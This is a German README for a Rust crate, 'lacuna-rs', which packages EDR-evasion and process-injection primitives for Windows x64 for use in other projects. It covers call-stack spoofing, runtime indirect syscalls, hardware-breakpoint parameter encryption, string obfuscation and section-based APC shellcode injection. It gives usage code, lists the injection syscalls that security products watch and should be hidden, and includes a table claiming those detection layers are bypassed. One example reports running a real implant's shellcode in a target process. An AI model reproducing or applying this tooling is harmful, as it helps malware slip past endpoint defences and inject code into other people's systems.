
Rust-Crate für Ghost-Frame Call-Stack Spoofing, indirekte Syscalls zur Laufzeit und APC-Injektion auf Windows x64. Bietet SSN-Auflösung, JIT-Stub-Erzeugung und VEH-basierte Parameter-Verschlüsselung zur EDR-Umgehung.
Ghost-Frame-Call-Stack-Spoofing + Runtime-Indirekte-Syscalls für Windows x64 — portiert nach Rust.
Portiert von LACUNA Chain (lacuna_chain.c) von Mohamed Alzhrani (0xmaz).
lacuna-rs ist eine wiederverwendbare Rust-Crate, die dieselben Primitive wie das originale C-TTP bereitstellt, strukturiert, sodass es in jedes Rust-Projekt eingebunden werden kann — wie wsyscall-rs oder syscalls-rs, aber mit Laufzeit-SSN-Auflösung, funktionsspezifischem syscall;ret-Targeting und Ghost-Frame-Stack-Spoofing.
Das
stack-spoof-Feature schlägt stillschweigend fehl, wenn die verbrauchende Crate nicht mit Frame-Pointern kompiliert wurde.
Die Stack-Stomping-Primitive in chain.rs finden den Slot der Rücksprungadresse des Aufrufers über mov rbp, {x}-Inline-Asm. Dies erfordert eine intakte RBP-Kette. Rust (und die meisten Release-Mode-Compiler) lassen Frame-Pointer standardmäßig weg.
build.rs setzt force-frame-pointers=yes für die Codegenerierung dieser Crate, aber Cargo kann Compiler-Flags nicht an abhängige Crates weitergeben. Sie müssen dies zu Ihrem eigenen Projekt hinzufügen:
# .cargo/config.toml (in IHRER Crate, nicht in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Ohne dies wird stomp_plant() Müll von RBP lesen und entweder nichts tun (bestenfalls) oder den Stack korrumpieren (schlimmstenfalls). Die Crate hat keine Möglichkeit, zur Laufzeit zu erkennen, ob Frame-Pointer aktiviert sind — sie wird einfach nicht funktionieren.
Wenn Sie nur die Scan-, SSN-Auflösungs- oder Injektionsprimitive (ohne Stack-Spoofing) benötigen, können Sie das stack-spoof-Feature weglassen, und diese Anforderung entfällt.
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
Wenn keine Features aktiviert sind, sind nur die Scan-/PE-/NT-Ebenen verfügbar.
cargo run --example scan
cargo run --example verify --features stack-spoof
Injektionsbeispiel mit echtem Implantat – C2 war offline, aber der Shellcode wurde ausgeführt
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Fügen Sie --verbose hinzu, um VEH-Diagnoseausgaben (Stack-Dumps, Register-Ausgaben) zu aktivieren:
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
Anstatt APCs an jeden Thread im Zielprozess zu senden (was den Prozess zum Absturz bringen kann, wenn zu viele Threads gleichzeitig alarmiert werden), verwendet inject_sapc einen Bewertungsalgorithmus, um die besten MAX_APC_THREADS (5) Kandidaten auszuwählen:
NtQueryInformationThread(ThreadCycleTime) — primärer AktivitätsindikatorNtQueryInformationThread(ThreadTimes) — Kernel- + User-ZeitNtQueryInformationThread(ThreadSuspendCount) — nicht suspendierte Threads erhalten +300 Bonus; suspendierte Threads erhalten -150 pro Suspend-ZählerNtQueryInformationThread(ThreadBasicInformation) — Threads mit Priorität 8-10 erhalten +150 Bonus; Prioritäten außerhalb des Bereichs erhalten -100 AbzugVollständig inaktive Threads (null Zyklen und null CPU-Zeit) werden vollständig übersprungen. Die verbleibenden Kandidaten werden nach Punktzahl sortiert (höchste zuerst, bei Gleichstand nach Zyklen) und auf die Top 5 begrenzt.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Ghost-Regionen scannen
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} Ghost-Regionen in ntdll", n);
// SSN + syscall;ret für eine bestimmte Funktion auflösen
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// SSN + die eigene syscall;ret-Adresse der Funktion auflösen
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-emittieren eines Stubs: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (oder jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret, falls build_chain aufgerufen wurde)
let stub = stub::make_stub(ssn, syscall_ret).expect("Stub-Allokation fehlgeschlagen");
// In den passenden Funktionszeigertyp umwandeln und aufrufen
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// ntdll/kernelbase/wow64/win32u nach Ghost-Regionen scannen und
// den sechsschichtigen gefälschten Call-Stack konstruieren. Setzt G_GHOST_GADGET,
// sodass Stubs über JMP [RBX] in einer signierten DLL routen.
lacuna::chain::build_chain();
// VEH-Handler registrieren (Parameter-Verschlüsselung + Chain-Guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH-Registrierung fehlgeschlagen");
// Optional: Ausführliche Diagnose zur Laufzeit aktivieren
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Ghost-Frames pflanzen (ersetzt Rücksprungadressen durch signierte DLL-Ghosts)
lacuna::chain::stomp_plant();
// DR0 auf dem syscall;ret scharfschalten – VEH wird beim Eintritt die Parameter XOR-entschlüsseln
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Durch den indirekten Stub aufrufen – RIP landet innerhalb von ntdll am Kernel-Eintritt
let _status = unsafe { open_proc(/* XOR-verschlüsselte Parameter */) };
// Vor jedem nicht geschützten Aufruf immer entschärfen
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
Nicht jeder API-Aufruf benötigt die volle LACUNA-Behandlung. Das Schlüsselprinzip ist: Verstecke die Aufrufe, die ein EDR als Injektions- oder Post-Exploitation-Aktivität korrelieren würde.
Dies sind die „Kronjuwelen"-NT-Syscalls, die EDRs hooken und korrelieren:
Für jeden dieser Punkte:
nt::resolve(ntdll, b"NtXxx\0") auflösenstub::make_stub(ssn, syscall_ret) emittierenveh::pcrypt_arm(key, syscall_ret, true) XOR-verschlüsselnchain::stomp_plant() und chain::stomp_restore() einschließennt::resolve(ntdll, b"NtXxx\0") – gibt (SSN, syscall_ret_VA) zurück.stub::make_stub(ssn, syscall_ret) – gibt einen aufrufbaren Funktionszeiger zurück.extern "system" fn(...) mittels core::mem::transmute.chain::build_chain() erstellen und chain::stomp_plant() / chain::stomp_restore() um den Aufruf herum aufrufen.veh::pcrypt_arm(key, syscall_ret, true) vor dem Aufruf aktivieren und veh::pcrypt_disarm() danach.Der Stub kümmert sich automatisch um die Sequenz mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Wenn ein Ghost-Gadget registriert wurde, leitet der Stub über JMP [RBX] für eine duale Ausführungsumleitung und einen artefaktfreien Brückenframe um.
Alle 9 wichtigen Beiträge aus dem LACUNA Chain Writeup sind im Code repräsentiert:
syscalls-rs verwenden?syscalls-rs und wsyscall-rs generieren eine Build-Zeit-SSN-Tabelle aus einem bestimmten Windows-Build von ntdll. Wenn das Zielsystem einen anderen Build ausführt, sind die SSNs falsch und Syscalls schlagen fehl (oder lösen EDR-Heuristiken aus).
lacuna-rs löst SSNs zur Laufzeit auf, indem es ntdlls Stubs direkt liest, und zielt auf die eigene syscall;ret-Instruktion der Funktion, sodass RIP beim Kernel-Eintritt innerhalb von ntdll liegt – was die EDR-Heuristiken „SSN-Mismatch" und „indirekter Syscall aus ungebacktem Speicher" besiegt.
Zusätzlich bietet lacuna-rs die Ghost-Frame-Stack-Spoofing-Chain, die syscalls-rs nicht hat.
x86_64-pc-windows-msvc (oder x86_64-pc-windows-gnu)litcrypt2 (Kompilierzeit-String-Obfuskation)stack-spoof)Das stack-spoof-Feature erfordert Frame-Pointer. build.rs setzt force-frame-pointers=yes automatisch für diese Crate, aber verbrauchende Crates müssen es ebenfalls in ihrer .cargo/config.toml setzen:
# .cargo/config.toml (in der verbrauchenden Crate)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Alle String-Literale in der Crate und den Beispielen sind in lc!()-Makros eingewickelt, die sie zur Kompilierzeit verschlüsseln und zur Laufzeit entschlüsseln. Der Verschlüsselungsschlüssel wird aus der Umgebungsvariablen LITCRYPT_ENCRYPT_KEY gelesen; falls nicht gesetzt, generiert litcrypt2 automatisch einen zufälligen Schlüssel.
Um einen Schlüssel für reproduzierbare Builds festzulegen:
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # Setzt force-frame-pointers für stack-spoof
├── src/
│ ├── lib.rs # Crate-Wurzel + Re-exports + scan_all() + litcrypt2-Setup
│ ├── win.rs # Win32/NT-FFI-Bindungen (no_std-kompatibel)
│ ├── pe.rs # PE-Section + Export-Parsing
│ ├── scan.rs # .pdata-Ghost-Region + Gadget-Scanning
│ ├── nt.rs # SSN-Auflösung + syscall;ret-Targeting
│ ├── stub.rs # JIT-Indirekter-Syscall-Stub-Emitting
│ ├── veh.rs # VEH + Hardware-Breakpoint-Parameter-Verschlüsselung
│ ├── chain.rs # LACUNA-Ghost-Frame-Chain + Stomp
│ └── inject.rs # Sectionsbasierte APC-Injektion
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + windows-msvc target
Dieses Projekt wurde aktiv von einem KI-Chatbot unterstützt. Ich hatte die Gelegenheit, ein neueres, sehr leistungsfähiges Open-Source-Modell (GLM-5.2 von Z.ai (Zhipu AI)) zu testen und wollte ihm eine anspruchsvolle Aufgabe stellen. Gelernt: Es funktionierte gut, wenn der Mensch wusste, wie die Ergebnisse aussehen sollen. Wenn nicht... nur Mist.
MIT
| Primitive | C-Funktion | Rust-Modul |
|---|
| PE-Section + Export-Parsing | pe_section(), pe_export() | pe |
.pdata-Ghost-Region-Scan | scan_ghosts(), best_ghost() | scan |
Ghost-Gadget-Erkennung (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u-NOP-Lücken-Finder | win32u_nop_gap() | scan |
| BYOUD-MF-Anker-Finder | find_mf_target() | scan |
| SSN-Auflösung (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Funktionsspezifischer syscall;ret-Locator | find_func_syscall() | nt |
| JIT-Indirekter-Syscall-Stub-Emitting | alloc_stub() | stub |
| Ghost-Gadget-Stub-Umleitung | (in alloc_stub()) | stub |
| VEH + Hardware-Breakpoint-Parameter-Verschlüsselung | param_encrypt_veh(), pcrypt_arm() | veh |
| Chain-Guard-VEH | chain_veh() | veh |
| LACUNA-Chain-Konstruktion | build_chain() | chain |
| Stack-Stomp (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Chain-Walker (Verifikation) | lacuna_walk_chain() | chain |
| Sectionsbasierte APC-Injektion | do_inject_sapc() | inject |
| Feature | Beschreibung | Benötigt Frame-Pointer? |
|---|
syscalls (Standard) | SSN-Auflösung + JIT-Stub-Emitting | Nein |
inject (Standard) | Sectionsbasierte APC-Injektion (inject::inject_sapc) | Nein |
veh | VEH + Hardware-Breakpoint-Parameter-Verschlüsselung | Nein |
stack-spoof | LACUNA-Ghost-Frame-Chain + Stack-Stomp | Ja |
no-std | no_std-Modus (experimentell) | Nein |
| Aufruf | Warum es sensitiv ist |
|---|
NtOpenProcess | Öffnet ein Handle zu einem anderen Prozess – erster Schritt der Injektion |
NtCreateSection + NtMapViewOfSection (remote) | Sectionsbasierte Injektionssignatur |
NtWriteVirtualMemory | Cross-Process-Write – klassischer Injektionsindikator |
NtCreateThreadEx | Remote-Thread-Erstellung – höchstsignifikantes Injektionsprimitiv |
NtQueueApcThread | APC-Injektion – hohes Signal |
NtProtectVirtualMemory | RWX-Berechtigungsänderungen – Shellcode-Staging-Indikator |
NtAllocateVirtualMemory (remote) | Remote-Allokation – Injektionsvorspiel |
NtSetInformationThread | Thread-Verstecken (HideFromDebugger) – Evasion-Indikator |
| Aufruf | Warum es sicher ist |
|---|
NtQueryInformationThread | Nur Abfrage, selten gehookt, kein Cross-Process-Write |
NtDelayExecution | Schlaf – harmlos, von jeder Anwendung genutzt |
NtClose | Handle-Schließen – harmlos, extrem häufig |
GetModuleHandleA / GetProcAddress | Modulauflösung – kein Syscall, nicht durch EDR-Userland-Hooks hookbar |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | Thread-Aufzählung – kernel32, kein ntdll-Syscall |
OpenThread / CloseHandle | Standard-Handle-Operationen – kernel32 |
GetThreadContext / SetThreadContext | Benötigt für DR0 – kernel32, nur eigener Prozess |
lc!() umschlossen werden – die Crate erzwingt dies, und die VEH-Diagnose ist hinter set_verbose(true) verborgen, das standardmäßig deaktiviert ist.| # | Writeup-Konzept | Code-Stelle | Beschreibung |
|---|
| 1 | BYOUD-Gap (null .pdata-Modifikation) | chain.rs – Ghost-Frame-Chain-Konstruktion | Nutzt Lücken zwischen RUNTIME_FUNCTION-Einträgen; der Unwinder behandelt sie als Leaf-Frames (RSP += 8) |
| 2 | ETW-Ti-APC-Window-Angriff | inject.rs – NtDelayExecution alertable Drain | Kontrolliert, wann der ETW-Ti-APC-Stack-Snapshot ausgelöst wird, durch Manipulation des Thread-Alertable-Zustands |
| 3 | Parameter-Verschlüsselung im BYOUD-Kontext | veh.rs – pcrypt_arm(), param_encrypt_veh() | XOR-verschlüsselt Syscall-Parameter beim Staging; entschlüsselt in einem Hardware-Breakpoint-VEH an der syscall-Instruktion |
| 4 | Win32u-NOP-Lücken-Chain + Ghost-Gadget | scan.rs – win32u_nop_gap(), scan_ghost_gadgets() | 1.242 NOP-Lücken in win32u.dll bieten whitelistierte Leaf-Frames; JMP [RBX]-Ghost-Gadget bei ntdll+0xFC47B |
| 5 | kernelbase Semantische Ghost-Proximity | chain.rs – L2_kbase-Schicht nahe VirtualProtect | 238-Byte-Ghost, der am Einstiegspunkt von VirtualProtect endet – nicht unterscheidbar von einer echten VP-Rückkehradresse |
| 6 | BYOUD-MF (Machine Frame RSP Teleport) | chain.rs – MachFrame-Struct, scan.rs – find_mf_target() | Nutzt UWOP_PUSH_MACHFRAME (Opcode 10) in KiUser*-Dispatchtern für beliebigen RSP-Teleport in einem einzigen Frame |
| 7 | BYOUD-RT (Laufzeit-RSP-Berechnung) | chain.rs – teb_stack_base(), teb_stack_limit() | Liest TEB.StackBase (GS:[0x08]) zum Aufrufzeitpunkt, um die genaue Frame-Distanz zu berechnen – keine Vorkalibrierung nötig |
| 8 | wow64.dll Ghost-Proximity | chain.rs – L1_wow64-Schicht, scan.rs – zielt auf Wow64PrepareForException | 91-Byte-Ghost, der am Einstieg von Wow64PrepareForException endet – vierte semantische Schicht für die Chain |
| 9 | Sechsschichtige LACUNA-Chain | chain.rs – LacunaStack-Struct (L1-L5 + MachFrame) | Vollständige Chain: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| Erkennungsschicht | Status | Implementierung |
|---|
| Modul-of-Origin-Check | UMGANGEN | Alle Frames in ntdll / kernelbase / wow64 / win32u |
| Unwind-Walk-Korrektheit | UMGANGEN | Alle Lacuna-Frames sind Leaf -> gültiges RSP+8 |
.pdata-forensischer Scan | UMGANGEN | Keine Modifikation; Lücken bereits vorhanden |
| CET Shadow Stack | UMGANGEN | Reine Leaf-Chain; Shadow Stack wird nicht konsultiert |
| Semantische Frame-Analyse | UMGANGEN | WoW64-Ausnahme + VirtualProtect-Nachbarschaft |
| Win32u-Regelausnahme | UMGANGEN | Schicht 4 explizit von allen Regeln ausgeschlossen |
| ETW-Ti STACKWALK | UMGANGEN | APC-Window-Angriff kontrolliert Snapshot-Timing |
| Parameter-Inspektion | UMGANGEN | HW-Breakpoint-VEH-Entschlüsselung |
| Kernel-Callbacks | TEILWEISE | Handle-Operationen feuern weiterhin ObRegisterCallbacks |